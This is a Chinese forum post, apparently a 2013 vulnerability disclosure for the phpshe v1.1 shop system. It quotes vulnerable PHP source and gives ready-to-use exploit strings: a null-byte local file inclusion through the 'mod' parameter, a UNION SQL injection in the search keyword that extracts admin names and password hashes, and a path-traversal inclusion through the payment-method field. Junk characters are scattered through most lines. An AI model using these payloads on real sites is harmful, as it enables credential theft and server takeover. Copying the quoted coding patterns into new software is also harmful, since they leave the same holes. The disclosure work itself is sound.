找回密码
 立即注册
查看: 3070|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/  f' i0 c( L+ w/ B
/* Phpshe v1.1 Vulnerability
& }, I, L+ N6 A$ b' A5 v/* ========================
) G0 ^' r* W. U& B9 y/ w/* By: : Kn1f3
; u% ^- h9 r6 n3 r3 a/* E-Mail : 681796@qq.com- u( E2 C0 q: S7 g. {  ?; I* t* P+ }
/*******************************************************/7 x  l0 c* p. x5 {
0×00 整体大概参数传输
- G" ]* O+ Q5 O/ K 5 T% h+ c& E- B; _& T. T% R) o

2 D1 v9 H. x' `0 G7 _  t0 P

8 O- l/ H" }0 d3 R& _6 O- _6 B+ x+ R//common.php
$ t  H+ L  E/ I! a( Dif (get_magic_quotes_gpc()) {
4 ~4 X2 ^' h$ {8 B!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
% ?" {$ ?7 m& A: s!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
# e- t1 k9 N" k1 k* D* }$ P, b# Q}+ f- e* ^! m, x- U
else {
' p  ]/ L4 s1 E7 J; \- K!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');- ^, q- \& b, n+ h' f# u
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
5 P) S* _* m# u/ z}
* L. e$ u) z9 dsession_start();* u# x: I6 d: i" O5 s
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
7 w  N! l/ L5 w!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
8 [1 E$ w* B" E9 G% d; v" @5 F& ?& c. F6 v! u
0×01 包含漏洞( h- D2 }7 n# p7 `! l
9 R2 G, O# K5 i0 C
3 i8 {  z; I& M' V+ H
//首页文件" h( f  z( K* G5 v0 K
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);7 l7 A' W* p/ x' Y7 P/ |2 U0 t
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞$ @% Q! ^! [; r4 L+ F
pe_result();) C$ i5 g$ J! R2 ]& }/ i
?>
/ e7 k0 s6 H8 r3 T//common 文件 第15行开始
+ q4 X' l" \7 H! E: Jurl路由配置2 B: C7 J) i7 F6 R
$module = $mod = $act = 'index';
8 a9 R" l) G% Q8 F9 S/ L( m: k# f$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);- {3 p/ p1 b" k, H  X) S
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);  n& M, a4 b. @
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
5 J5 ]  s! R5 v9 n! ?/ J- C//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
- Y% k. ]$ g7 K, t* x3 s9 |4 k$ m, W

$ a2 V& ?5 Z/ B0 z6 J: v0 f
4 |8 S6 {, V- s9 m1 c* f/ K
0×02 搜索注入$ u( J! g1 Q- z3 f2 b- ^

% N0 f  d# s/ E. n2 C& K" [' K<code id="code2">

//product.php文件4 h; r( P* l, g. o; i& u
case 'list':& I  Y: P0 m8 \  U2 E# P5 s
$category_id = intval($id);
! g# @- Q! E2 P% k; |* i, T$info = $db->pe_select('category', array('category_id'=>$category_id));
5 V! ~9 F. }+ M6 e8 B//搜索
1 Z( ^" [: S' Q/ M$sqlwhere = " and `product_state` = 1";
. l' Q2 T) }/ P5 Jpe_lead('hook/category.hook.php');
* w7 l% {: F7 z5 Xif ($category_id) {& F1 ?) A; b2 x. M3 X
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";; o! N- s% J# w8 O3 b
}) P' X' m3 I* c" U- d
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤& L0 u$ w7 N& S& u0 z. h, b" ~6 i( q; |
if ($_g_orderby) {$ p# U1 _3 J2 S' z1 b1 j
$orderby = explode('_', $_g_orderby);
+ n. q$ v& S! Q3 M$ d. n, m: U$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
6 `& Z$ b+ H' h5 @; D. z5 F}
& G9 G# f. `8 }. L$ C% I! P2 }else {/ k# m; Q9 N, W; C2 `7 _
$sqlwhere .= " order by `product_id` desc";( L# w4 F* `8 G( L. v9 S9 S" P
}
3 }: R  p. u& \0 X$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));# j: }0 `0 M9 O  D
//热卖排行0 N; n6 I! A4 H# Z! D
$product_hotlist = product_hotlist();5 G$ w7 @, t/ \
//当前路径
2 S# s$ J* r3 O" i5 p/ x$nowpath = category_path($category_id);
& c' a" @5 [; ]3 L1 ^$seo = pe_seo($info['category_name']);. c: c+ }. G- O  l% ]$ ^
include(pe_tpl('product_list.html'));
) g' I3 p1 F- P. p//跟进selectall函数库
4 v  M2 ]7 v6 s! V. ]$ `; e" p- qpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
! L6 X) ?& M1 P{
1 F% K4 m0 s' D( ]. }//处理条件语句
# j& p  n0 M# d! H+ O5 m$sqlwhere = $this->_dowhere($where);# e+ e, x0 P. q/ q
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
8 b1 d  R$ t8 N" K3 D}- _  g% v+ I- N. \5 x6 X
//exp8 h" t6 {; n* I4 O0 G4 p7 K
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
5 O( i4 L/ z) ]' Z

</code>& o/ I4 E/ N$ S( E  K
7 e- V0 R" p% r/ {! f
0×03 包含漏洞2
% M5 h" u* }1 U6 p- f0 q  c % [9 v7 T; N8 K. G
<code id="code3">

//order.php

case 'pay':

- `' ?; s& w2 f) O% m
$order_id = pe_dbhold($_g_id);

6 Y3 Z6 R! l+ H
$cache_payway = cache::get('payway');


. Y1 m& Z( w4 _0 T9 r" B4 jforeach($cache_payway as $k => $v) {


( g! A, B' d$ Z$ \8 g& v; n$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


7 r+ c4 ^/ F! c! e6 W" J2 Sif ($k == 'bank') {


7 @0 M' ]- |, {' y9 S  ^: h$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


$ ~6 r' s/ `+ }0 g}

' W7 M. d3 ], R
}

- R4 p0 [4 k) g% g+ W  W
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

4 u5 N0 H6 N  E. K3 Z
!$order['order_id'] && pe_error('订单号错误...');

% E0 h6 y3 I: C& }& \
if (isset($_p_pesubmit)) {


: E8 k; h  H0 l+ q$ u6 M! X! yif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

9 k- R* m( m+ t- l
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


6 |) O# E$ e# q8 `foreach ($info_list as $v) {


0 i, {( a6 G7 `9 y5 b( [$order['order_name'] .= "{$v['product_name']};";; t& v) N6 Y1 j1 Z" S5 c  I# i5 Q


" Z5 {. Z- h- V! e& w! e7 T}

+ J* |! e( [% C6 O* L5 j( e& _
echo '正在为您连接支付网站,请稍后...';


/ R0 {3 r! P0 U$ G: vinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

; t0 q; I3 [5 j4 D/ A( p
}//当一切准备好的时候就可以进行"鸡肋包含了"

7 y0 N* g" u5 G3 n. t
else {

" L) u9 k' \8 P9 C
pe_error('支付错误...');

" w) J: c" P% D$ B& R& M
}


" ?2 e3 t) k! I( f}

" r  G7 e9 b- ], y: f& f
$seo = pe_seo('选择支付方式');


1 j7 |+ L& ?: S, U' p. G) pinclude(pe_tpl('order_pay.html'));


4 r8 D; ~+ P5 J* E0 i3 ^break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
, g1 U& N0 f4 v% c; g

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表